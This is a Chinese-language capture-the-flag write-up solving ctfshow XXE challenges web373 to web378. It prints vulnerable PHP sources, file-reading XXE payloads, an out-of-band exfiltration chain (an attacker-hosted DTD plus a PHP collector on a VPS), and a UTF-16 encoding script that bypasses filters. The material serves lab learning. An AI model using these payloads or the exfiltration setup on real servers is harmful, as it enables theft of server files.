xxe的解释 —-> 这篇文章 —->讲的比较详细了,几乎覆盖了xxe的所有攻击方法

这篇文章写的也不错 —-> 也是对xxe攻击的解释和介绍

web373

题目

image-20230123174724507

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 加载xml实体,参数为替代实体、加载外部子集
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
// 节点嵌套
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}

由于php为协议 php://input的作用,试所以我们得进行post发包。

得用bp,hackbar不行

payload

1
2
3
4
5
6
7
8
9
10
[POST]Payload:

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>

这段代码里的payload xxe creds 可以根据自己的情况进行修改,不会影响最终的结果

ctfshow是不能进行修改的 因为题目的echo $ctfshow得需要ctfshow

但是在ENTITY里的xxe必须得和外边的&xxe;相等

image-20230123180043163

写进去的时候必须得空一格,因为这个可能是个语法要求。

web374-376(过滤了xml)

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 13:36:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这题相较上题而言,没有了回显 就是echo输出

所以我们就得进行外带了 得自己准备一个vps

第一步

先在自己的服务器上建一个网站,然后给一个端口号

image-20230123225626535

第二步

就开始在网站的根目录下写所需要的文件

先写一个pd.dtd

1
2
3
4
5
6

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://vsp:端口号/xxe.php?q=%file;'>"
>
%all;

然后写个xxe.php

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>

然后在写一个flag.txt用来存反弹回来的flag

image-20230123230041340

就是可以先拿自己的vps去看一下能不能访问这三个文件,如果能访问的话就进行post发包。

payload

1
2
3
4
5
6
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://vps:端口号/pd.dtd">
%dtd;
%send;
] >

image-20230123230256902

如果成功的话,就会在自己的网站根目录看到flag.

image-20230123230333502

上面的方法是通杀方法 —-> 题目把xml给过滤掉了

1
2
3
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}

web377

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-07 12:59:52
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-07 15:26:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这里是把xml和http都给过滤掉了,那么我们就可以利用python进行编码发包

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = 'http://xxx'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""

requests.post(url ,data=data.encode('utf-16'))
print("done!")

因为xml支持utf-16编码,所以我们就可以进行utf-16进行编码

web378

题目

image-20230123231807557

一个xxe的登录,尝试一下弱口令登录,admin/admin 登录成功,没有显示什么,那么我们就可以进行抓包查看。

image-20230123231949046

然后就可以进行xxe注入了,这种类型的题目是最经典的,网上有一模一样的。

image-20230123232139774

payload

1
2
3
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>

这个show讲的xxe类型比较少,想看更详细的可以去看文章开头给的那两篇文章

libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡 PHP版本并不影响XXE利用。